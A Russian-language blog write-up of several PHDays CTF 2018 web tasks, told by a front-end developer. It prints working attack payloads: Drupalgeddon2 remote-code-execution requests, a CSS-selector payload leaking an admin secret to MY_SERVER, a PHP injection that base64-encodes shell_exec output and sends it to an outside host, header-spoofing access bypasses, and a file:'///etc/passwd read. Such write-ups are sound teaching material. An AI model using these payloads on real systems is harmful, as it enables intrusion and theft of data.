[Из песочницы] PHDays CTF 2018. Writeup верстальщика

Привет, Хабр. Будучи верстальщиком, в этом году решил поучаствовать в CTF от PHDays.
Просмотрев список заданий, решил попытать счастья с таском Engeeks. Забегая вперед, скажу, что флаг в этом таске я так и не достал. Зато решил другие. Поэтому распишу то, до чего смог докопаться. Не пропадать же находкам.

Engeeks


172.104.246.110

Название, явно намекало на web сервер nginx. Осмотрев главную (и единственную) страницу сайта обнаружил, что форма обратной связи не работает. Указанный url для обработки отправленных сообщений отвечает статусом 404.

dgmtoqd_oopz1lzdgtcqdasm8tc.png

Просмотрев исходник скрипта отправки, видим еще один закомментированный url `/admino4ka/contact_dev.php`. Сейчас по этому пути отдается страница со статусом 404, без раскрытия информации. Но несколько дней, после старта конкурса, переход по этой ссылке раскрывал настоящий ip адрес и порт бэкенд сервера в подписи. Примером взял картинку с интернета.

efo6wm7vznuwk67fdohcr7tpkjo.png
В оригинале ip адрес был 139.162.190.95 и порт 63425.

Страница 139.162.190.95:63425 выглядит идентично 172.104.246.110/admino4ka, что подтверждает раскрытие настоящего ip бэкэнд сервера. Изучив содержимое, видим ссылки на 3 домена в зоне .local.

b5yqzwv-8kfzq0qgtubx5qepd6q.png

Пробуем обратиться к одной из них, подменив заголовок Host. И… ничего.

jb0qlz3mbl-jmdphujcc3_ctdmi.png
Страница отвечает 403 статусом.

Первая же мысль, что идет проверка на доступ с локального ip адреса. Добавляем заголовок X-Forwarded-For со значением 127.0.0.1. Бинго! Видим страницу блога на друпале.

oqjmrhuuiplqmqvc8rsyxyloau0.png

Для доступа к блогу на джумле сценарий идентичный. А вот вордпрессовский сайт, при попытке открытия редиректил на самого себя (http://wp.local:63425). После нескольких экспериментов выяснилось, что смена метода запроса с GET на POST помогла преодолеть и этот барьер.

Для удобства завернул адреса wp.local, drupal.local и joomla.local на 127.0.0.1 и запустил локальный nginx сервер со следующим конфигом.

events {
}

http {
  server {
    server_name wp.local;
    location / {
        proxy_method POST;
        proxy_set_header Host wp.local;
        proxy_set_header X-Forwarded-For 127.0.0.1;
        proxy_pass http://139.162.190.95:63425;
    }
  }
  server {
    server_name drupal.local;
    location / {
        proxy_set_header Host drupal.local;
        proxy_set_header X-Forwarded-For 127.0.0.1;
        proxy_pass http://139.162.190.95:63425;
    }
  }
  server {
    server_name joomla.local;
    location / {
        proxy_set_header Host joomla.local;
        proxy_set_header X-Forwarded-For 127.0.0.1;
        proxy_pass http://139.162.190.95:63425;
    }
  }
}


Что позволило спокойно изучать содержимое этих сайтов, переходя по прямым ссылкам. Только для доступа к rest api вордпресса приходилось менять proxy_method POST; на proxy_method GET;

Изучение сайтов к сожалению ни к чему не привело. Версии CMS были довольно свежие. Даже, отчаявшись, пытался безрезультатно пробрутить пароли к админкам CMS. Эксплоит друпалгедона2 также не работал на друпал сайте.

curl -s -X 'POST' --data 'mail[%23post_render][]=exec&mail[%23children]=uname -a&form_id=user_register_form' -H 'Host: drupal.local' -H 'X-Forwarded-For: 127.0.0.1' 'http://139.162.190.95:63425/user/register?element_parents=account/mail/%23value&ajax_form=1'


Когда уже казалось, что все безуспешно в телеграмм канале появилась подсказка: «Hint for eNgeeks: Drupalgeddon2 is still alive». Что снова дало стимул, копать в сторону Drupalgeddon2. И не зря.

 curl -k 'http://139.162.190.95:63425/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
    -H 'Host: drupal.local' \
    -H 'X-Forwarded-For: 127.0.0.1' \
    --data "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=sleep+5"


Выполнение этой команды, показало что есть blind RCE. Команда sleep отработала на сервере. Но радость была недолгой, попытки сконструировать более существенные команды провоцировали WAF на сервере, отменяя возможность выполнения. Долго промучавшись, оставил этот таск, не получив флаг.

UPDATE: Закон подлости. Рабочую RCE получилось раскрутить до конца сразу же, после написания этой статьи.

Board


172.104.246.110:9091

Заглянув в исходный код сайта, я очень обрадовался. Вот он! Вот он тот самый таск для верстальщика! Исходник говорил, что передо мной SPA приложение. К тому же, на тот момент когда я приступил к решению, в телеграмм канале уже была подсказка для этого таска.

Hint2 for board: OK guys… So at first you need to get api sources. Aaand nothing of your hacky things works? Maybe there is exception that returns you full file path? Did you noticed punycode dependency?


Что ж, punycode dependency? Действительно. В исходном коде бандла видим, что package.json так же попал в билд. И видна зависимость от модуля punycode версии 2.1.0 (Последней на данный момент).

5cpczqzxextoxjerlcdihqlo-ny.png

Найдя этот модуль на гитхабе, замечаю свежее открытое Issue:

9n6uwfu1f0qoedogyij6cbydnz8.png

Затем ищу, какое из значений передаваемых на сервер чувствительно к punycode. Его найти не так уж и сложно. Это поле Title на экране переписки.

fcachybpdkc2kzoepirksxj8_r4.png

Ошибка сервера, дает нам раскрытие путей. И перейдя по 172.104.246.110:9091/05da126b0edfb13d3b9377797b5f25d6/methods.js можно увидеть исходный код модуля methods. Логично предположить, что 172.104.246.110:9091/05da126b0edfb13d3b9377797b5f25d6/index.js показывает исходник API сервера.

Тут можно найти много интересного. Например то, что флаг записан в поле secret админа.

async function createUser({
  id,
  style
} = {}) {
  id = (0, _utils.sanitizeId)(id) || (0, _v.default)();
  let created = new Date().getTime(),
      session = (0, _md.default)(`${id}|${created}|${(0, _v.default)()}`),
      user = {
    id,
    created,
    session,
    secret: id === _bot.adminId ? process.env.FLAG : 'nah... you don\'t need a secret...',
    style: (0, _utils.sanitize)(style)
  };
  await _utils.db.Users.insertOne(user);
  return user;
}


Или то, что указав __NEW_FEATURE__ = true и передав css в поле style, мы можем сделать себе такой же красивый фон доски, как у админа.

  app.post('/api/id', async (req, res) => {
    let _ref2 = await (0, _methods.createUser)({
      style: req.body.__NEW_FEATURE__ && req.body.style
    }),
        id = _ref2.id,
        session = _ref2.session,
        secret = _ref2.secret;

    if (!id) return res.status(400).end();
    res.cookie('session', session, {
      maxAge: 3600000,
      httpOnly: true
    });
    res.status(200).json({
      id,
      secret
    });
  });


И так же, подтверждаем свои догадки по поводу XSS в этом задании.

async function visitPage(url) {
  let browser = await _puppeteer.default.launch(chromeSettings),
      page = await browser.newPage();
  await page.setCookie({
    name: 'session',
    value: adminSession,
    url,
    path: '/',
    expires: Math.floor(new Date().getTime() / 1000) + 5,
    httpOnly: true
  });
  await page.goto(url, {
    'waitUntil': 'domcontentloaded'
  });
  await new Promise(r => setTimeout(r, visitingTimeout));
  await browser.close();
}


Остается только в style запихать пейлоад, написать сообщение на доске админа, и стянув его сессию подсмотреть значение secret. Но не все так просто. Как можно заметить, style проходит обработку перед сохранением. Что исключает возможность выйти за пределы тэга style и выполнить скрипт.

function sanitize(str) {
  str = (str || '').replace(/[<>'\\*\n\s]/g, '');
  return forbiddenWordsRE.test(str) ? null : str;
}


Если изучить сгенерированный DOM страницы доски, видно, что секрет зачем-то добавляется в аттрибут content элемента с id secret.

n-s-2tzoibdff3jjovxja_jlfb8.png

После обнаружения этого момента все кусочки пазла встали на свои места. Скрипт не нужен, достану флаг через CSS.

#secret[content^=A]{background-image:url(http://MY_SERVER/url/A)}
#secret[content^=a]{background-image:url(http://MY_SERVER/url/a)}
#secret[content^=B]{background-image:url(http://MY_SERVER/url/B)}
#secret[content^=b]{background-image:url(http://MY_SERVER/url/b)}
#secret[content^=C]{background-image:url(http://MY_SERVER/url/C)}
#secret[content^=c]{background-image:url(http://MY_SERVER/url/c)}
...


Составив подобные пейлоады на получение каждого символа секрета и заставив админа перейти к твоей доске, в логах своего веб сервера можно увидеть обращение к соответствующим символу путям. И так посимвольно вытащить значение флага.

Я же воспользовался сервисом webhook.site вместо сервера, так как решал таски подручными средствами.

mnogorock


172.104.137.194

Данный таск решился на удивление очень быстро. Открыв ссылку, сразу видим подсказку в исходном коде страницы.

hwwyizey_nihahhgcoukmcb_0xq.png

Нам намекают отправить POST запрос с полем comand равным inform(). Отправляю, и в ответ приходит строка «du u now de wei?»

Пробую отправить, в качестве команды что-то другое. Допустим test. Сервис отвечает ошибкой и классным роликом про красную шапочку.

ohklrdum2givplvf05zukrdcmr8.png

Отсюда мы понимаем, что перед нами черный ящик написанный на PHP.

Экспериментально находим, что конструкции вида [inform(), inform()], inform(inform()) и 'inform'() работают, выполняя функцию inform на сервере. Пробую выполнить php функцию обернув ее кавычкой.

'sleep'(5)


По времени ответа видно, что функция выполнилась. И тут я проявил оплошность. Вместо выполнения команд через system, что дало бы сразу вывод команды в исходный код, я попытался вызывать функции через shell_exec. А это дало только blind RCE. Ни curl, ни wget на сервере не отрабатывали для передачи результатов выполнения команды. Спасла php функция file_get_contents.

Итоговый эксплоит выглядел так:

'file_get_contents'('http://MY_SERVER/url/'.'base64_encode'('shell_exec'('cat index.php')))


В качестве стороннего сервера опять выступал webhook.site. Получив исходный код скрипта был немного растерян, не обнаружив флаг внутри. Но походив немного по папкам, флаг был быстро обнаружен в одном из файлов в корне.

CryptoApocalypse


92.53.66.223

Наверное самый тролирующий таск среди всех. Авторами было расставлено много хонипотов. Вставляя разные адреса в поле, убедился, что это сервис-анонимайзер. Проверив на обработку кавычек, адресом http://' видим одну из шуток разработчиков:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND sign=true AND url 'http://''  at line 1


Выглядит почти очень убедительно. Если бы не пробел после слова url, не знаю сколько времени провел бы за поиском несуществующей SQL инъекции.

Попытавшись подконектиться к mysql сервису на 3306 порт видим сообщение:

Host MY_IP is not allowed to connect to this MySQL server


Подставив адрес 127.0.0.1 убедился, что сервис может открывать локальные адреса. Но при обращении по адресу 127.0.0.1:3306 через анонимайзер видим, что хоть доступ получен, но Got packets out of order. Что означает, что mysql сервер пытался обработать поля из запроса.

Вроде все. Тупик. Идем в телеграм канал за подсказкой и видим:

Hint for CryptoApocalypse: check dump.tar.gz


92.53.66.223/dump.tar.gz. Очень смешно. Что еще?

Hint for CryptoApocalypse: No need for ssrf, read the source file!


Hint for CryptoApocalypse: Ok, ok! You should get the source code using «file» via curl!

Так, а вот это уже полезное. Но попытка открытия ссылки file:///etc/passwd открывает очередной троллинг создателей таска. Остаются считанные часы до окончания CTF. Панически уже пробую разные варианты написания ссылок. Как вдруг! file:'///etc/passwd

o2joe0muhwhiqqrjvcc0922kaxg.png

Немного удивляюсь, не очередной ли это троллинг от авторов. Но нет. Ссылка file:'///etc/hosts так же работает. Хорошо. Осталось найти флаг. Сразу проверил файл /var/www/html/index.php и не ошибся. Флаг был внутри.

P.S.: Как выяснил позже, вместо кавычки в file:'///var/www/html/index.php можно было поставить любой символ.

© Habrahabr.ru